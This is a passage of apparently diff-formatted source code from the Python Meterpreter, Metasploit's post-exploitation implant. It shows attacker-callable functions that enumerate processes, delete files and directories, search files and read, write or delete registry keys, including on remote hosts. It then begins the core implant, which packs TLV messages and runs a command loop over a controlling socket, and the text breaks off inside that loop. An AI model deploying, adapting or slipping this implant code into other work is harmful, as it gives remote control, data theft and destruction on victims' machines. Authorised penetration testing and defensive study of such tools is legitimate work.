ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
|
||||||
|
complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
|
||||||
|
k32.CloseHandle(tkn_h)
|
||||||
|
parch = windll_GetNativeSystemInfo()
|
||||||
|
is_wow64 = ctypes.c_ubyte()
|
||||||
|
is_wow64.value = 0
|
||||||
|
if hasattr(k32, 'IsWow64Process'):
|
||||||
|
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
|
||||||
|
if is_wow64.value:
|
||||||
|
parch = PROCESS_ARCH_X86
|
||||||
|
pgroup = ''
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
|
||||||
|
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
||||||
|
result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
|
||||||
|
k32.CloseHandle(proc_h)
|
||||||
|
k32.CloseHandle(proc_snap)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_sys_process_get_processes(request, response):
|
||||||
|
if os.path.isdir('/proc'):
|
||||||
|
return stdapi_sys_process_get_processes_via_proc(request, response)
|
||||||
|
elif has_windll:
|
||||||
|
return stdapi_sys_process_get_processes_via_windll(request, response)
|
||||||
|
else:
|
||||||
|
return stdapi_sys_process_get_processes_via_ps(request, response)
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_chdir(request, response):
|
||||||
|
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||||
|
os.chdir(wd)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_delete(request, response):
|
||||||
|
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||||
|
os.unlink(file_path)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_delete_dir(request, response):
|
||||||
|
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||||
|
if os.path.islink(dir_path):
|
||||||
|
del_func = os.unlink
|
||||||
|
else:
|
||||||
|
del_func = shutil.rmtree
|
||||||
|
del_func(dir_path)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_delete_file(request, response):
|
||||||
|
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
|
os.unlink(file_path)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_file_expand_path(request, response):
|
||||||
|
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
|
if path_tlv == '%COMSPEC%':
|
||||||
|
if platform.system() == 'Windows':
|
||||||
|
result = 'cmd.exe'
|
||||||
|
else:
|
||||||
|
result = '/bin/sh'
|
||||||
|
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
|
||||||
|
result = '/tmp'
|
||||||
|
else:
|
||||||
|
result = os.getenv(path_tlv)
|
||||||
|
if not result:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_getwd(request, response):
|
||||||
|
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_ls(request, response):
|
||||||
|
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||||
|
path = os.path.abspath(path)
|
||||||
|
contents = os.listdir(path)
|
||||||
|
contents.sort()
|
||||||
|
for x in contents:
|
||||||
|
y = os.path.join(path, x)
|
||||||
|
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
|
||||||
|
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
|
||||||
|
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_md5(request, response):
|
||||||
|
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
||||||
|
import md5
|
||||||
|
m = md5.new()
|
||||||
|
else:
|
||||||
|
import hashlib
|
||||||
|
m = hashlib.md5()
|
||||||
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
|
m.update(open(path, 'rb').read())
|
||||||
|
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_mkdir(request, response):
|
||||||
|
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||||
|
os.mkdir(dir_path)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_search(request, response):
|
||||||
|
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
|
||||||
|
search_root = ('' or '.') # sometimes it's an empty string
|
||||||
|
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
|
||||||
|
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
|
||||||
|
if recurse:
|
||||||
|
for root, dirs, files in os.walk(search_root):
|
||||||
|
for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
|
||||||
|
file_tlv = ''
|
||||||
|
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
|
||||||
|
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
|
||||||
|
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size)
|
||||||
|
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
|
||||||
|
else:
|
||||||
|
for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
|
||||||
|
file_tlv = ''
|
||||||
|
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
|
||||||
|
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
|
||||||
|
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size)
|
||||||
|
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_separator(request, response):
|
||||||
|
response += tlv_pack(TLV_TYPE_STRING, os.sep)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_sha1(request, response):
|
||||||
|
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
||||||
|
import sha1
|
||||||
|
m = sha1.new()
|
||||||
|
else:
|
||||||
|
import hashlib
|
||||||
|
m = hashlib.sha1()
|
||||||
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
|
m.update(open(path, 'rb').read())
|
||||||
|
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_stat(request, response):
|
||||||
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
|
st_buf = get_stat_buffer(path)
|
||||||
|
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_net_socket_tcp_shutdown(request, response):
|
||||||
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
|
||||||
|
channel = meterpreter.channels[channel_id]
|
||||||
|
channel.close()
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function_windll
|
||||||
|
def stdapi_registry_close_key(request, response):
|
||||||
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||||
|
result = ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function_windll
|
||||||
|
def stdapi_registry_create_key(request, response):
|
||||||
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||||
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||||
|
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||||
|
res_key = ctypes.c_void_p()
|
||||||
|
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
|
||||||
|
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
|
||||||
|
@meterpreter.register_function_windll
|
||||||
|
def stdapi_registry_delete_key(request, response):
|
||||||
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||||
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||||
|
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
|
||||||
|
if (flags & DELETE_KEY_FLAG_RECURSIVE):
|
||||||
|
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
|
||||||
|
else:
|
||||||
|
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
|
||||||
|
return result, response
|
||||||
|
|
||||||
|
@meterpreter.register_function_windll
|
||||||
|
def stdapi_registry_delete_value(request, response):
|
||||||
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||||
|
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||||
|
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
|
||||||
|
return result, response
|
||||||
|
|
||||||
|
@meterpreter.register_function_windll
|
||||||
|
def stdapi_registry_enum_key(request, response):
|
||||||
|
ERROR_MORE_DATA = 0xea
|
||||||
|
ERROR_NO_MORE_ITEMS = 0x0103
|
||||||
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||||
|
name = (ctypes.c_char * 4096)()
|
||||||
|
index = 0
|
||||||
|
tries = 0
|
||||||
|
while True:
|
||||||
|
result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
|
||||||
|
if result == ERROR_MORE_DATA:
|
||||||
|
if tries > 3:
|
||||||
|
break
|
||||||
|
name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
|
||||||
|
tries += 1
|
||||||
|
continue
|
||||||
|
elif result == ERROR_NO_MORE_ITEMS:
|
||||||
|
result = ERROR_SUCCESS
|
||||||
|
break
|
||||||
|
elif result != ERROR_SUCCESS:
|
||||||
|
break
|
||||||
|
tries = 0
|
||||||
|
response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
|
||||||
|
index += 1
|
||||||
|
return result, response
|
||||||
|
|
||||||
|
@meterpreter.register_function_windll
|
||||||
|
def stdapi_registry_enum_value(request, response):
|
||||||
|
ERROR_MORE_DATA = 0xea
|
||||||
|
ERROR_NO_MORE_ITEMS = 0x0103
|
||||||
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||||
|
name = (ctypes.c_char * 4096)()
|
||||||
|
name_sz = ctypes.c_uint32()
|
||||||
|
index = 0
|
||||||
|
tries = 0
|
||||||
|
while True:
|
||||||
|
name_sz.value = ctypes.sizeof(name)
|
||||||
|
result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
|
||||||
|
if result == ERROR_MORE_DATA:
|
||||||
|
if tries > 3:
|
||||||
|
break
|
||||||
|
name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
|
||||||
|
tries += 1
|
||||||
|
continue
|
||||||
|
elif result == ERROR_NO_MORE_ITEMS:
|
||||||
|
result = ERROR_SUCCESS
|
||||||
|
break
|
||||||
|
elif result != ERROR_SUCCESS:
|
||||||
|
break
|
||||||
|
tries = 0
|
||||||
|
response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
|
||||||
|
index += 1
|
||||||
|
return result, response
|
||||||
|
|
||||||
|
@meterpreter.register_function_windll
|
||||||
|
def stdapi_registry_load_key(request, response):
|
||||||
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
|
||||||
|
sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
|
||||||
|
file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
|
||||||
|
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
|
||||||
|
return result, response
|
||||||
|
|
||||||
|
@meterpreter.register_function_windll
|
||||||
|
def stdapi_registry_open_key(request, response):
|
||||||
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||||
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||||
|
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||||
|
handle_id = ctypes.c_void_p()
|
||||||
|
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
|
||||||
|
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
|
||||||
|
@meterpreter.register_function_windll
|
||||||
|
def stdapi_registry_open_remote_key(request, response):
|
||||||
|
target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
|
||||||
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||||
|
result_key = ctypes.c_void_p()
|
||||||
|
result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key))
|
||||||
|
if (result == ERROR_SUCCESS):
|
||||||
|
response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
|
||||||
|
@meterpreter.register_function_windll
|
||||||
|
def stdapi_registry_query_class(request, response):
|
||||||
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||||
|
value_data = (ctypes.c_char * 4096)()
|
||||||
|
value_data_sz = ctypes.c_uint32()
|
||||||
|
value_data_sz.value = ctypes.sizeof(value_data)
|
||||||
|
result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None)
|
||||||
|
if result == ERROR_SUCCESS:
|
||||||
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
|
||||||
|
@meterpreter.register_function_windll
|
||||||
|
def stdapi_registry_query_value(request, response):
|
||||||
|
REG_SZ = 1
|
||||||
|
REG_DWORD = 4
|
||||||
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||||
|
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||||
|
value_type = ctypes.c_uint32()
|
||||||
|
value_type.value = 0
|
||||||
|
value_data = (ctypes.c_ubyte * 4096)()
|
||||||
|
value_data_sz = ctypes.c_uint32()
|
||||||
|
value_data_sz.value = ctypes.sizeof(value_data)
|
||||||
|
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
|
||||||
|
if result == ERROR_SUCCESS:
|
||||||
|
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
|
||||||
|
if value_type.value == REG_SZ:
|
||||||
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
|
||||||
|
elif value_type.value == REG_DWORD:
|
||||||
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4])
|
||||||
|
else:
|
||||||
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value])
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
|
||||||
|
@meterpreter.register_function_windll
|
||||||
|
def stdapi_registry_set_value(request, response):
|
||||||
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||||
|
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||||
|
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
||||||
|
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
|
||||||
|
result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
|
||||||
|
return result, response
|
||||||
|
|
||||||
|
@meterpreter.register_function_windll
|
||||||
|
def stdapi_registry_unload_key(request, response):
|
||||||
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||||
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||||
|
result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
|
||||||
|
return result, response
|
|
@ -0,0 +1,408 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
import code
|
||||||
|
import ctypes
|
||||||
|
import os
|
||||||
|
import random
|
||||||
|
import select
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
|
||||||
|
has_windll = hasattr(ctypes, 'windll')
|
||||||
|
|
||||||
|
#
|
||||||
|
# Constants
|
||||||
|
#
|
||||||
|
PACKET_TYPE_REQUEST = 0
|
||||||
|
PACKET_TYPE_RESPONSE = 1
|
||||||
|
PACKET_TYPE_PLAIN_REQUEST = 10
|
||||||
|
PACKET_TYPE_PLAIN_RESPONSE = 11
|
||||||
|
|
||||||
|
ERROR_SUCCESS = 0
|
||||||
|
# not defined in original C implementation
|
||||||
|
ERROR_FAILURE = 1
|
||||||
|
|
||||||
|
CHANNEL_CLASS_BUFFERED = 0
|
||||||
|
CHANNEL_CLASS_STREAM = 1
|
||||||
|
CHANNEL_CLASS_DATAGRAM = 2
|
||||||
|
CHANNEL_CLASS_POOL = 3
|
||||||
|
|
||||||
|
#
|
||||||
|
# TLV Meta Types
|
||||||
|
#
|
||||||
|
TLV_META_TYPE_NONE = ( 0 )
|
||||||
|
TLV_META_TYPE_STRING = (1 << 16)
|
||||||
|
TLV_META_TYPE_UINT = (1 << 17)
|
||||||
|
TLV_META_TYPE_RAW = (1 << 18)
|
||||||
|
TLV_META_TYPE_BOOL = (1 << 19)
|
||||||
|
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
||||||
|
TLV_META_TYPE_GROUP = (1 << 30)
|
||||||
|
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||||
|
# not defined in original
|
||||||
|
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||||
|
|
||||||
|
#
|
||||||
|
# TLV base starting points
|
||||||
|
#
|
||||||
|
TLV_RESERVED = 0
|
||||||
|
TLV_EXTENSIONS = 20000
|
||||||
|
TLV_USER = 40000
|
||||||
|
TLV_TEMP = 60000
|
||||||
|
|
||||||
|
#
|
||||||
|
# TLV Specific Types
|
||||||
|
#
|
||||||
|
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
||||||
|
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
||||||
|
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
||||||
|
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
||||||
|
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
||||||
|
|
||||||
|
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
||||||
|
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
||||||
|
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
||||||
|
|
||||||
|
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
||||||
|
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
||||||
|
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
||||||
|
|
||||||
|
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
||||||
|
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||||
|
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||||
|
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||||
|
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||||
|
|
||||||
|
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
||||||
|
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
||||||
|
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
||||||
|
|
||||||
|
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
||||||
|
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
||||||
|
|
||||||
|
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
||||||
|
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
||||||
|
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
||||||
|
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||||
|
|
||||||
|
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||||
|
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||||
|
|
||||||
|
def generate_request_id():
|
||||||
|
chars = 'abcdefghijklmnopqrstuvwxyz'
|
||||||
|
return ''.join(random.choice(chars) for x in xrange(32))
|
||||||
|
|
||||||
|
def packet_get_tlv(pkt, tlv_type):
|
||||||
|
offset = 0
|
||||||
|
while (offset < len(pkt)):
|
||||||
|
tlv = struct.unpack('>II', pkt[offset:offset+8])
|
||||||
|
if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
|
||||||
|
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
||||||
|
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||||
|
val = val.split('\x00', 1)[0]
|
||||||
|
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||||
|
val = struct.unpack('>I', val)[0]
|
||||||
|
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||||
|
val = bool(struct.unpack('b', val)[0])
|
||||||
|
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||||
|
pass
|
||||||
|
return {'type':tlv[1], 'length':tlv[0], 'value':val}
|
||||||
|
offset += tlv[0]
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def tlv_pack(*args):
|
||||||
|
if len(args) == 2:
|
||||||
|
tlv = {'type':args[0], 'value':args[1]}
|
||||||
|
else:
|
||||||
|
tlv = args[0]
|
||||||
|
data = ""
|
||||||
|
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||||
|
data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00'
|
||||||
|
elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||||
|
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
|
||||||
|
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||||
|
data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value'])))
|
||||||
|
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||||
|
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||||
|
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
||||||
|
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||||
|
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
||||||
|
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||||
|
return data
|
||||||
|
|
||||||
|
class STDProcessBuffer(threading.Thread):
|
||||||
|
def __init__(self, std, is_alive):
|
||||||
|
threading.Thread.__init__(self)
|
||||||
|
self.std = std
|
||||||
|
self.is_alive = is_alive
|
||||||
|
self.data = ''
|
||||||
|
self.data_lock = threading.RLock()
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
while self.is_alive():
|
||||||
|
byte = self.std.read(1)
|
||||||
|
self.data_lock.acquire()
|
||||||
|
self.data += byte
|
||||||
|
self.data_lock.release()
|
||||||
|
self.data_lock.acquire()
|
||||||
|
self.data += self.std.read()
|
||||||
|
self.data_lock.release()
|
||||||
|
|
||||||
|
def is_read_ready(self):
|
||||||
|
return len(self.data) != 0
|
||||||
|
|
||||||
|
def read(self, l = None):
|
||||||
|
data = ''
|
||||||
|
self.data_lock.acquire()
|
||||||
|
if l == None:
|
||||||
|
data = self.data
|
||||||
|
self.data = ''
|
||||||
|
else:
|
||||||
|
data = self.data[0:l]
|
||||||
|
self.data = self.data[l:]
|
||||||
|
self.data_lock.release()
|
||||||
|
return data
|
||||||
|
|
||||||
|
class STDProcess(subprocess.Popen):
|
||||||
|
def __init__(self, *args, **kwargs):
|
||||||
|
subprocess.Popen.__init__(self, *args, **kwargs)
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
|
||||||
|
self.stdout_reader.start()
|
||||||
|
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
||||||
|
self.stderr_reader.start()
|
||||||
|
|
||||||
|
class PythonMeterpreter(object):
|
||||||
|
def __init__(self, socket):
|
||||||
|
self.socket = socket
|
||||||
|
self.extension_functions = {}
|
||||||
|
self.channels = {}
|
||||||
|
self.interact_channels = []
|
||||||
|
self.processes = {}
|
||||||
|
for func in filter(lambda x: x.startswith('_core'), dir(self)):
|
||||||
|
self.extension_functions[func[1:]] = getattr(self, func)
|
||||||
|
self.running = True
|
||||||
|
|
||||||
|
def register_function(self, func):
|
||||||
|
self.extension_functions[func.__name__] = func
|
||||||
|
|
||||||
|
def register_function_windll(self, func):
|
||||||
|
if has_windll:
|
||||||
|
self.register_function(func)
|
||||||
|
|
||||||
|
def add_channel(self, channel):
|
||||||
|
idx = 0
|
||||||
|
while idx in self.channels:
|
||||||
|
idx += 1
|
||||||
|
self.channels[idx] = channel
|
||||||
|
return idx
|
||||||
|
|
||||||
|
def add_process(self, process):
|
||||||
|
idx = 0
|
||||||
|
while idx in self.processes:
|
||||||
|
idx += 1
|
||||||
|
self.processes[idx] = process
|
||||||
|
return idx
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
while self.running:
|
||||||
|
if len(select.select([self.socket], [], [], 0)[0]):
|
||||||
|
request = self.socket.recv(8)
|
||||||
|
if len(request) != 8:
|
||||||
|
break
|
||||||
|
req_length, req_type = struct.unpack('>II', request)
|
||||||
|
req_length -= 8
|
||||||
|
request = ''
|
||||||
|
while len(request) < req_length:
|
||||||
|
request += self.socket.recv(4096)
|
||||||
|
response = self.create_response(request)
|
||||||
|
self.socket.send(response)
|
||||||
|
else:
|
||||||
|
channels_for_removal = []
|
||||||
|
channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed
|
||||||
|
for channel_id in channel_ids:
|
||||||
|
channel = self.channels[channel_id]
|
||||||
|
data = ''
|
||||||
|
if isinstance(channel, STDProcess):
|
||||||
|
if not channel_id in self.interact_channels:
|
||||||
|
continue
|
||||||
|
if channel.stdout_reader.is_read_ready():
|
||||||
|
data = channel.stdout_reader.read()
|
||||||
|
elif channel.stderr_reader.is_read_ready():
|
||||||
|
data = channel.stderr_reader.read()
|
||||||
|
elif channel.poll() != None:
|
||||||
|
